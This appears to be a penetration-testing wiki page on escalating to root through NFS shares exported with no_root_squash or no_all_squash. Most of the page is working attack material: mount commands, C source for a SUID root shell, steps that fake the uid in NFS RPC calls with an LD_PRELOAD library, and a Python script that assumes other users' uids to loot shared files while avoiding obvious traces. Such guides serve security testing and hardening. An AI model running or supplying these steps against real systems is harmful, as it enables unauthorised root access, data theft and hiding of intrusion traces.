NFS no_root_squash/no_all_squash
Theory
If you find some NFS directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.
no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
Practice
To enumerate the NFS server’s configuration, all we need to do is view the contents of the /etc/exports file.
$ cat /etc/exportsIf you see a share with the no_all_squash or no_root_squash configuration, you may be able to exploit it.
To exploit this privilege escalation vector, we will :
mount the share from another machine where you’re root
place a setuid binary there
on the victim machine, run the binary and get root
On the attacking machine, mount the vulnerable share:
#Attacker, as root user
mkdir /mnt/pe
mount -t nfs <IP>:<SHARED_FOLDER> /mnt/peCreat a setuid binary and copy it to the mounted share
# Attacker, as root user
## Create a SUID binary
echo 'int main() { setgid(0); setuid(0); system("/bin/bash -p"); return 0; }' > /tmp/root_shell.c
gcc /tmp/root_shell.c -o /tmp/root_shell
## Copy the binary and set the uid byte
cd /mnt/pe
cp /tmp/root_shell .
chmod +s root_shellOn the victime computer, as a low privilege user:
# Victime, as low privilege user
cd <SHAREDD_FOLDER>
./root_shell
#ROOT shellYou can copy the /bin/bash binary directly and give it SUID rights instead of compiling a new binary.
If the /etc/exports has an explicit list of IP addresses allowed to mount the share, we won't be able to make the remote exploit and you will need to abuse this trick and exploit no_root_squash/no_all_squash locally with an unprivileged user.
When listing the NFS shares, it will show IP allowed to mount the share:
$ showmount -e nfs-server
Export list for nfs-server:
/nfs_root machineThis exploit relies on a problem in the NFSv3 specification that mandates that it’s up to the client to advertise its uid/gid when accessing the share. Thus it’s possible to fake the uid/gid by forging the NFS RPC calls if the share is already mounted!
Compiling the example
Here’s a library that lets you do just that. Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscalls.
# On local NFS server or computer that have access to the share
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/Exploiting using the library
Let’s use the simplest of exploits:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.outPlace our exploit on the share and make it suid root by faking our uid in the RPC calls:
# On local NFS server or computer that have access to the share
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.outAll that’s left is to launch it:
# On local NFS server or computer that have access to the share
$ /mnt/share/a.out
# root shellNFShell
Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command:
#!/usr/bin/env python
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))You can then run most commands as you normally would by prefixing them with the script:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
# ls -la ./mount/9.3_old/
ls: cannot open directory ./mount/9.3_old/: Permission denied
# ./nfsh.py ls --color -l ./mount/9.3_old/
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 bin
drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf
drwx------ 15 1008 1009 1024 Apr 5 2017 data
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 installResources
Last updated
Was this helpful?